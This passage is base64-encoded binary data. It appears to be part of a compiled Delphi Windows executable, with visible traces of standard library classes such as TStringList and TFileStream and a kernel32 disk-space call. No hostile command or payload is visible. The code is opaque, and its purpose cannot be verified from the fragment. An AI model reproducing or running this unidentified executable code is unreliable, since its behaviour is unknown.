QABk/zBkiSDoNbj//4vYhdt0NYld8MZF9ACNVeyLw+jS6P//i0XsiUX4xkX8C41F8FBqAYsN
6NpBALIBoTRrQADoWPH//+sSiw1A20EAsgGhNGtAAOgI8f//iVgM6IyL//8zwFpZWWSJEGgp
pEAAjUXs6KeQ///D6TmL///r8FuL5V3Di8BTi9iF23UF6Fz///+Lw1vDU7vgwkEA6xCLA4sQ
iRO6CAAAAOhYgf//gzsAdetbw5BTaJikQADoobf//4vYhdt0EGiopEAAU+iYt///oyjBQQCD
PSjBQQAAdQq4XHRAAKMowUEAW8MAAGtlcm5lbDMyLmRsbAAAAABHZXREaXNrRnJlZVNwYWNl
RXhBAFNWhNJ0CIPE8OgSiP//i9qL8DPSi8bo1Yb//41GBFDoxLf//2oAav9q/2oA6E+2//+J
RhxqBI1GKLkBAAAAixX4a0AA6Jug//+DxASLxoTbdA/oIYj//2SPBQAAAACDxAyLxl5bw4vA
U1boEYj//4vai/CLxuhqAAAAi9OA4vyLxuiKhv//i0YcUOjZtf//jUYEUOj4tf//hNt+B4vG
6M2H//9eW8OLwFNWi/AzwIN+LAB0KjPbi0Yo6HKe//+L0OsBQzvTfhKLRiiLBNiFwHTxi04o
O0YsdOk70w+ewF5bw41AAFOL2I1DBFDosLX//4B7NAB1Mugdtv//iUMsi8Poo////4TAdQtq
/4tDHFDoRLf//4tDIIlDJDPAiUMgM8CJQyzGQzQB/0MgW8ONQACLEDPJiQiLwujjhf//w4vA
HQAAANzCQQD020EA1MJBAJjbQQDMwkEA2NpBAMTCQQAM3EEAvMJBACDcQQC0wkEAPNtBAKzC
QQCI20EApMJBALjaQQCcwkEApNtBAJTCQQC820EAjMJBAGjbQQCEwkEAbNtBAHzCQQBc3EEA
dMJBAFDcQQBswkEAfNxBAGTCQQDk20EAXMJBANTbQQBUwkEAgNxBAEzCQQBw3EEARMJBAHzb
QQA8wkEAYNxBADTCQQBk3EEALMJBABjbQQAkwkEA9NpBABzCQQDQ20EAFMJBAAjcQQAMwkEA
vNpBAATCQQBY3EEA/MFBAHjbQQAoAAAA9MFBAEjcQQAAAAAA8MFBANzaQQAAAAAA7MFBAADc
QQAAAAAA6MFBAMjaQQAAAAAA5MFBAADbQQAAAAAA4MFBAPjaQQAAAAAA3MFBAOTaQQAAAAAA
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
AAAAAAAAAAAAAAAAAAAAAAAAbLlAACQAAAAMEEAAoCxAAKwsQACwLEAAtCxAAKgsQABwK0AA
hCtAAKzDQAALVFRocmVhZExpc3TEuUAAAAAAAAAAAAAAAAAA8LlAAAAAAAAAAAAA0LlAAN65
QAAEAAAADBBAAKAsQACsLEAAsCxAALQsQACoLEAAcCtAAIQrQAAgxUAAMMZAADjGQABMxUAA
AgD///7/7MZAADzGQAALVFBlcnNpc3RlbnSLwPC5QAAHC1RQZXJzaXN0ZW50xLlAAGAQQAAA
AAdDbGFzc2VzAACNQAAYukAADw9JU3RyaW5nc0FkYXB0ZXKAEEAAATQvnHPsUtARnqYAIK89
gtoHQ2xhc3NlcwAAlLpAAAAAAAAAAAAABLtAACS7QAAAAAAAAAAAAAAAAAAWu0AADAAAAHi5
QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AA8MZAADDGQAAAyUAAIMhAAPwnQACEy0AA
/CdAAIzLQADky0AALM9AAFzPQADE0EAATNFAAAzSQAAgx0AARMdAAGjHQAD8J0AA/CdAAJzK
QACQy0AAzMxAAPwnQAB8zUAA0M1AAHzOQAAQ0EAAaNBAAPzQQAAOAAAAAAABAAAAFLpAAAgA
AAAIVFN0cmluZ3OQJLtAAAcIVFN0cmluZ3OUukAA7LlAAAAAB0NsYXNzZXMAAIvASLtAAA4L
VFN0cmluZ0l0ZW0IAAAAAQAAAAAQQAAAAAAAjUAAtLtAAAAAAAAAAAAAAAAAAEi8QAAAAAAA
AAAAAAAAAAA4vEAAMAAAAEi6QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AAlNJAADDG
QAAAyUAAIMhAAADVQAA01UAAONVAADzVQADky0AAgNZAANjWQACo10AATNFAAMTXQADw0kAA
RMdAAGjHQACA00AAuNNAABzUQACQy0AAmNVAANDVQAB8zUAA0M1AAHzOQAAQ0EAAaNBAAPzQ
QABI00AAZNNAAJjUQADs10AA/NdAAAtUU3RyaW5nTGlzdEi8QAAHC1RTdHJpbmdMaXN0tLtA
ACC7QAAAAAdDbGFzc2VzAACNQAC4vEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMi8
QAAEAAAADBBAAKAsQACsLEAAsCxAALQsQACoLEAAcCtAAIQrQADMK0AAgNhAAPwnQAD8J0AA
/CdAAAdUU3RyZWFtHL1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsvUAACAAAAGy8
QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AAzCtAACDZQAD02EAABNlAABTZQAANVEhh
bmRsZVN0cmVhbYvAiL1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYvUAACAAAANC8
QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AA+NlAACDZQAD02EAABNlAABTZQAALVEZp
bGVTdHJlYW3wvUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC+QAAQAAAAbLxAAKAs
QACsLEAAsCxAALQsQACoLEAAcCtAAIQrQADMK0AAgNhAACjaQAD8J0AAYNpAABNUQ3VzdG9t
TWVtb3J5U3RyZWFtYL5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0vkAAFAAAAKS9
QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AAhNpAAHzbQAAo2kAALNxAAGDaQACo20AA
DVRNZW1vcnlTdHJlYW2LwIi+QAAODlRJZGVudE1hcEVudHJ5CAAAAAEAAAAAEEAABAAAAFWL
7IPE5FNWV4vwoRjmQQDo8wUAAIv4M8BVaGC/QABk/zBkiSCLXwhLg/sAfC1qHI1F5FCL04vH
6CcDAABQ6CGe//+F9nQFO3XodQmL04vH6B8CAABLg/v/ddOhHOZBAIsQ/1IUi9hLg/sAfDNq
HI1F5FCL06Ec5kEAiwj/URhQ6N+d//+F9nQFO3XodQyL06Ec5kEAiwj/UURLg/v/dc0zwFpZ
WWSJEGhnv0AAoRjmQQDotQUAAMPp+2///+vuX15bi+Vdw4vAvL9AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAC8v0AAEAAAAAwQQACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AA
zCtAAAlUSW50Q29uc3SLwFWL7ITSdAiDxPDoBW3//4lIBItNDIlICItNCIlIDITSdA/oRW3/
/2SPBQAAAACDxAxdwggAjUAAU1ZXi/mL8ovYVleLy7IBoXC/QADor////4vQoSDmQQDoAwQA
AF9eW8ONQABVi+xRU1ZXiVX8i/iLdQiF9nwjRo1ZBIvXiwPo9K3//4TAdAywAYtV/ItL/IkK
6wiDwwhOdeEzwF9eW1ldwgQAVYvsg8T4U1ZXiU38i/qLdQiF9nweRotd/DsDdRDGRfsBi8eL
UwTohXT//+sKg8MITnXmxkX7AIpF+19eW1lZXcIEAJBTVuiFbP//i9qL8IvGixD/UgiE234H
i8boX2z//15bw1NWV4v6i9iLcwg7cwx1BovDixD/EotDBIk8sP9DCIX/dAszyYvXi8OLGP9T
BIvGX15bw5BTi9gz0ovD6NQBAAAz0ovD6I8BAABbw5BTVleL8ovYhfZ8BTtzCHwPixUk3EEA
i86LA+h9AAAAi9aLw+jIAAAAi/j/SwiLQwg78H0ZK8aLyMHhAotDBI0UsItDBI1EsAToR2X/
/4X/dAuxAovXi8OLGP9TBF9eW8OLRQTDU1aDxPiL8Yva6O7///9QiXQkBMZEJAgAjUQkBFBq
AIvLsgGhSLdAAOjf0v//6eZt//9ZWl5bw5BVi+xqAFNWi/GL2jPAVWgAwkAAZP8wZIkgjVX8
i8PopYn//4tV/IvOoby4QADolv///zPAWllZZIkQaAfCQACNRfzoyXL//8PpW23//+vwXltZ
XcNTVovyi9iF9nwFO3MIfA+LFSTcQQCLzosD6I7///+LQwSLBLBeW8OQi1AMg/pAfg6LyoXJ
eQODwQPB+QLrEYP6CH4HuRAAAADrBbkEAAAAA8qL0ehEAAAAw41AAFMzyesBQTtICH0Ii1gE
OxSLdfI7SAh1A4PJ/4vBW8OQU1aL2IvD6NX///+L8IX2fAmL1ovD6Hr+//+Lxl5bw5BTVovy
i9g7cwh8CIH+////B34PixXM20EAi86LA+ju/v//O3MMdBCL1sHiAo1DBOjsYv//iXMMXlvD
i8BTVldVi/KL2IX2fAiB/v///wd+D4sVlNtBAIvOiwPosf7//ztzDH4Ji9aLw+iT////i0MI
O/B+GYtTBI0UgovOK8iLwcHgAjPJkuihZf//6xeL6E2L/iv9fw5Pi9WLw+jU/f//TUd184lz
CF1fXlvDw41AAFNWhNJ0CIPE8Oh2af//i9qL8DPSi8boOWj//41GCFDoKJn//7IBoby4QADo
JGj//4lGBMZGIACLxoTbdA/ommn//2SPBQAAAACDxAyLxl5bw41AAFWL7IPE+OiFaf//iFX7
iUX8i0X86OsAAAAzwFVoDsRAAGT/MGSJIItF/ItABOj+Z///ilX7gOL8i0X86OBn//8zwFpZ
WWSJEGgVxEAAi0X86BMBAACLRfyDwAhQ6D+X///D6U1r///r5IB9+wB+CItF/OgJaf//WVld
w5BVi+xRU4vaiUX8i0X86HYAAAAzwFVopMRAAGT/MGSJIItF/IB4IAF0EItF/ItABIvT6Ar+
//9AdQ+LRfyLQASL0+hi/P//6x6LRfyAeCACdRWLFYTbQQCLRfyLQASLAIvL6Cr9//8zwFpZ
WWSJEGirxEAAi0X86HEAAADD6bdq///r8FtZXcOQU4vYjUMIUOiglv//i0MEW8ONQABVi+xR
U4vaiUX8i0X86Nr///8zwFVoB8VAAGT/MGSJIItF/ItABIvT6Jf9//8zwFpZWWSJEGgOxUAA
i0X86A4AAADD6VRq///r8FtZXcOLwIPACFDoj5f//8OLwFNW6BVo//+L2ovwi8bo9hcAAIvT
gOL8i8bojmb//4TbfgeLxujjZ///XlvDhdJ0BpKLCP8RwzPS6AMAAADDi8BVi+yBxOz+//9T
VjPJiU38i/KL2DPAVWgWxkAAZP8wZIkghfZ0HY2V/P7//4sG6Mll//+Nlfz+//+NRfzoS3H/
/+sNjUX8uizGQADosG///4tF/ImF7P7//8aF8P7//wuNlfz+//+LA+iPZf//jYX8/v//iYX0
/v//xoX4/v//BI2F7P7//1BqAYsNnNtBALIBofhnQADoTc///+iYaf//M8BaWVlkiRBoHcZA
AI1F/Oizbv//w+lFaf//6/BeW4vlXcMA/////wMAAABuaWwAkugq////w5DDjUAAVYvsgcT8
/v//U1ZXM8mJTfyL+ovwM8BVaNHGQABk/zBkiSCNlfz+//+LBujwZP//jZX8/v//i8foc3D/
/4vGZrv//+gEZv//hcB0M4vGZrv//+j1Zf//jVX8Zrv+/+jpZf//g338AHQW/3X8aOjGQAD/
N4vHugMAAADoKXH//zPAWllZZIkQaNjGQACNRfzo+G3//8Ppimj//+vwX15bi+VdwwD/////
AQAAAC4AAAAzwMOQU1boRWb//4vai/Az0ovG6MQJAACL04Di/IvG6BD+//+E234Hi8boEWb/
/15bw4vAU1ZXi/qL2IvDixD/UhSL8IvPi9aLw4sY/1NUi8ZfXlvDjUAAU1ZXi/mL2IvDiwj/
UTSL8IvPi9aLw4sY/1Mki8ZfXlvDjUAAVYvsg8T0U1ZXM8mJTfSJVfiJRfwzwFVoD8hAAGT/
MGSJIItF/Oj+AAAAM8BVaPLHQABk/zBkiSCLRfiLEP9SFIvwToX2fC1GM9uNTfSL04tF+Is4
/1cMi0X0UIvTi0X4iwj/URiLyItF/FqLOP9XOENOddYzwFpZWWSJEGj5x0AAi0X86FsBAADD
6Wln///r8DPAWllZZIkQaBbIQACNRfToumz//8PpTGf//+vwX15bi+Vdw41AAFWL7FFTi9qJ
RfyLw4sVSLpAAOgJZP//hMB0RYtF/OhNAAAAM8BVaHnIQABk/zBkiSCLRfyLEP9SQIvTi0X8
iwj/UTwzwFpZWWSJEGiKyEAAi0X86NQAAADD6eJm///r8IvTi0X86ML8//9bWV3Di8BTi9iD
ewQAdQmyAYvDiwj/UTD/QwRbw5BVi+xTVotFCItA/ItwIIX2dC2zAYtFCIvGixVIukAA6HRj
//+EwHQni0UIi9aLRQiLQPjogAAAAIvYgPMB6xCLRQiLQPiLEP9SFIXAD5/Di8NeW13DjUAA
VYvsg8T4U4lV/IlF+ItF+FBoYM9AAItF+FBoENJAAFXog////1mLyLpEyUAAi0X8ixj/UwRb
WVldwwAA/////wcAAABTdHJpbmdzAP9IBIN4BAB1BzPSiwj/UTDDjUAAVYvsg8TsU1ZXM8mJ
TfCJTeyJVfiJRfwzwFVo9clAAGT/MGSJIMZF9wCLRfyLEP9SFIvYi0X4ixD/UhQ72HU7i/NO
hfZ8MEYz241N8IvTi0X8izj/VwyLRfBQjU3si9OLRfiLOP9XDItV7FjoZG7//3UIQ05108ZF
9wEzwFpZWWSJEGj8yUAAjUXsugIAAADo+Gr//8PpZmX//+vrikX3X15bi+Vdw4vAi0UEw1NW
g8T4i/GL2uju////UIl0JATGRCQIAI1EJARQagCLy7IBoaC3QADoU8r//+laZf//WVpeW8OQ
VYvsagBTVleL+Yvyi9gzwFVojMpAAGT/MGSJII1V/IvG6BaB//+LVfyLz4vD6Jb///8zwFpZ
WWSJEGiTykAAjUX86D1q///D6c9k///r8F9eW1ldw41AAFWL7IPE8FNWVzPbiV3wiV30i/GL
2olF/DPAVWh0y0AAZP8wZIkgi0X86Mb9//8zwFVoUstAAGT/MGSJII1N9IvTi0X8izj/VwyL
04tF/IsI/1EYiUX4jU3wi9aLRfyLOP9XDItN8IvTi0X8izj/VyCL1otF/IsI/1EYi8iL04tF
/IsY/1Mki030i9aLRfyLGP9TIItN+IvWi0X8ixj/UyQzwFpZWWSJEGhZy0AAi0X86Pv9///D
6Qlk///r8DPAWllZZIkQaHvLQACNRfC6AgAAAOh5af//w+nnY///6+tfXluL5V3Di8CLEP9S
FMOLwDPAw5BVi+xqAFOL2DPAVWjVy0AAZP8wZIkgjVX8i8OLCP9RHItF/Ogwbf//6J+q//+L
2DPAWllZZIkQaNzLQACNRfzo9Gj//8PphmP//+vwi8NbWV3Di8BVi+yDxOhTVlczyYlN6IlN
7IlV+IlF/DPAVWi7zEAAZP8wZIkgi0X8ixD/UhSJRfAz24t18E6F9nwpRsdF9AAAAACNTeiL
VfSLRfyLOP9XDItF6Ojoav//g8ACA9j/RfROdd+LRfiLyzPS6F1p//+LXfiLG4t18E6F9nxA
RsdF9AAAAACNTeyLVfSLRfyLOP9XDItF7Oimav//i/iF/3QOi9OLReyLz+ggWv//A9/GAw1D
xgMKQ/9F9E51yDPAWllZZIkQaMLMQACNRei6AgAAAOgyaP//w+mgYv//6+tfXluL5V3DjUAA
VYvsg8T0U1ZXM8mJTfSJVfiJRfwzwFVoOc1AAGT/MGSJIItF/IsQ/1IUi9hLhdt8I0Mz9o1N
9IvWi0X8izj/VwyLRfSLVfjoTKH//4XAdAdGS3Xgg87/M8BaWVlkiRBoQM1AAI1F9OiQZ///
w+kiYv//6/CLxl9eW4vlXcONQABVi+xRU1ZXiU38i/qL8ItN/IvXi8aLGP9TVItNCIvXi8aL
GP9TJF9eW1ldwgQAi8BVi+xRVovwaiCLyqE8vUAAsgHorQsAAIlF/DPAVWjEzUAAZP8wZIkg
i1X8i8aLCP9RXDPAWllZZIkQaMvNQACLRfzoGV7//8Ppl2H//+vwXlldw5BVi+yDxPhTVjPJ
iU34i9qJRfwzwFVobs5AAGT/MGSJIItF/OiY+v//M8BVaFHOQABk/zBkiSCLw+g/CgAAi/CL
w+gaCgAAK/CNRfiLzjPS6Ixn//+LVfiLzovDixj/UwSLVfiLRfyLCP9RLDPAWllZZIkQaFjO
QACLRfzo/Pr//8PpCmH//+vwM8BaWVlkiRBodc5AAI1F+OhbZv//w+ntYP//6/BeW1lZXcOQ
VYvsg8T4U1ZXM9uJXfiL8YvaiUX8M8BVaB3PQABk/zBkiSA783Rki0X86OX5//8zwFVoAM9A
AGT/MGSJII1N+IvTi0X8izj/VwyL04tF/IsI/1EYi/iL04tF/IsI/1FEV4tN+IvWi0X86GL+
//8zwFpZWWSJEGgHz0AAi0X86E36///D6Vtg///r8DPAWllZZIkQaCTPQACNRfjorGX//8Pp
PmD//+vwX15bWVldw5BTVldVi+mL8ovYi9aLw4sI/1EYi/iL1ovDiwj/UURXi82L1ovD6Pb9
//9dX15bw5DDjUAAVYvsg8T0M8mJTfSJVfiJRfwzwFVoBNBAAGT/MGSJIItF+OgZDwAAi0X8
6AH5//8zwFVo389AAGT/MGSJIItF/IsQ/1JA6xaNVfSLRfjoOg8AAItV9ItF/IsI/1E0i0X4
6C8OAACEwHTeM8BaWVlkiRBo5s9AAItF/Ohu+f//w+l8X///6/CLRfjoug4AADPAWllZZIkQ
aAvQQACNRfToxWT//8PpV1///+vwi+Vdw5BVi+xRVovwaP//AACLyqE8vUAAsgHoFgkAAIlF
/DPAVWhb0EAAZP8wZIkgi1X8i8aLCP9RaDPAWllZZIkQaGLQQACLRfzoglv//8PpAF///+vw
Xlldw4vAVYvsagBTVovyi9gzwFVotdBAAGT/MGSJII1V/IvDiwj/URyLRfzokWb//4vIi1X8
i8boHQgAADPAWllZZIkQaLzQQACNRfzoFGT//8Pppl7//+vwXltZXcONQADDjUAAU1aL8ovY
g3sIAHQIi0MIixD/UhCNQwiL1ugKe///g3sIAHQKi9OLQwiLCP9RDF5bw41AAFWL7GoAU1aL
8ovYM8BVaD/RQABk/zBkiSCNRfyL1uhhZf//i1X8i8OLCP9RLDPAWllZZIkQaEbRQACNRfzo
imP//8PpHF7//+vwXltZXcOQVYvsg8T4UzPJiU34i9qJRfwzwFVoANJAAGT/MGSJIItF/Ogd
9///M9JVaOPRQABk/zJkiSKLRfyLEP9SQIXbdEDrOYvD6wFDihOE0nQKgOoKdAWA6gN174vL
K8iNVfiS6P9j//+LVfiLRfyLCP9RNIA7DXUBQ4A7CnUBQ4A7AHXCM8BaWVlkiRBo6tFAAItF
